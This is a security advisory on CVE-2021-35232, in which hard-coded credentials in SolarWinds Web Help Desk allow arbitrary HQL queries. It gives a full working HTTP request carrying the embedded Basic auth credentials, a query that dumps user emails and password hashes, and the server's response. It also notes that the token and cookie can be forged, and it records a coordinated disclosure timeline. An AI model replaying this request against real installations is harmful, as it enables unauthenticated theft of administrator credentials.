Research Notes
January 23, 2022

Advisory: Solarwinds Web Help Desk Arbitrary HQL Evaluation (CVE-2021-35232)

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There are hard-coded credentials present in SolarWinds Web Help Desk. Through these credentials an attacker could be allowed to execute arbitrary HQL queries against the database.


This vulnerability allows an attacker to execute Hibernate SQL queries against the database models defined in the source code. As a result, an attacker could read the password hashes of the users registered in Web Help Desk, including administrator password hashes.

In addition to reading sensitive information from the database, other SQL operations such as INSERT/UPDATE/DELETE were also possible, as long as a Hibernate model existed for the database tables, in the code base.

Version Tested Against

<span class="code_single-line">Web Help Desk</span>

Product Description

Solarwinds Web Help Desk lets you manage all end-user trouble tickets and track service request lifecycle, from ticket creation to resolution, from one centralized help desk management web interface.

Web Help Desk simplifies help desk ticketing, IT asset management and end-user support.


You can read Solarwind’s advisory here.


HTTP request which allows an attacker to run an arbitrary HSQL query:

POST /helpdesk/assetReport/rawHQL HTTP/1.1
Host: re.local:8081
Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-Version: 1.7
DNT: 1
X-XSRF-TOKEN: 712c84a6-b963-441a-9e2a-f16abdeafe39
X-Requested-With: XMLHttpRequest
Authorization: Basic aGVscGRlc2s5MTExNEFENzdCNENEQ0Q5RTE4NzcxMDU3MTkwQzA4QjoxQTExRTQzMTg1M0Y0Q0M5OUMyN0JGNzI5NDc5RUI1RA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Referer: http://re.local:8081/helpdesk/WebObjects/Helpdesk.woa/wo/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: whdticketstab=mine; XSRF-TOKEN=712c84a6-b963-441a-9e2a-f16abdeafe39;
Connection: close
Content-Type: text/plain
Content-Length: 31

select email,password from Tech

This will return the following:

HTTP/1.1 200 
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Content-Type: text/javascript;charset=ISO-8859-1
Content-Length: 64
Date: Thu, 21 Oct 2021 03:35:11 GMT
Connection: close	{SHA}uCLxzS3PxoW0foPjmAKJ_V2OP_OoLe8k19HWi7Jy6zI

Note: the <span class="code_single-line">X-XSRF-TOKEN</span> and <span class="code_single-line">Cookie</span> are not necessary/can be forged to execute this attack without any authentication.

Blog Post

The blog post detailing the steps taken for the discovery of this vulnerability can be found here.


Assetnote Security Research Team


The timeline for this disclosure process can be found below:

  • Oct 23rd, 2021: Disclosure of hardcoded credentials and HSQL evaluation vulnerability to Solarwinds PSIRT
  • Nov 8th, 2021: Response from Solarwinds confirming receipt of vulnerability
  • Nov 25th, 2021: Response from Solarwinds confirming patch release date
  • Dec 23rd, 2021: Response from Solarwinds confirming release of Web Help Desk 12.7.7 Hotfix 1
Written by:
Shubham Shah
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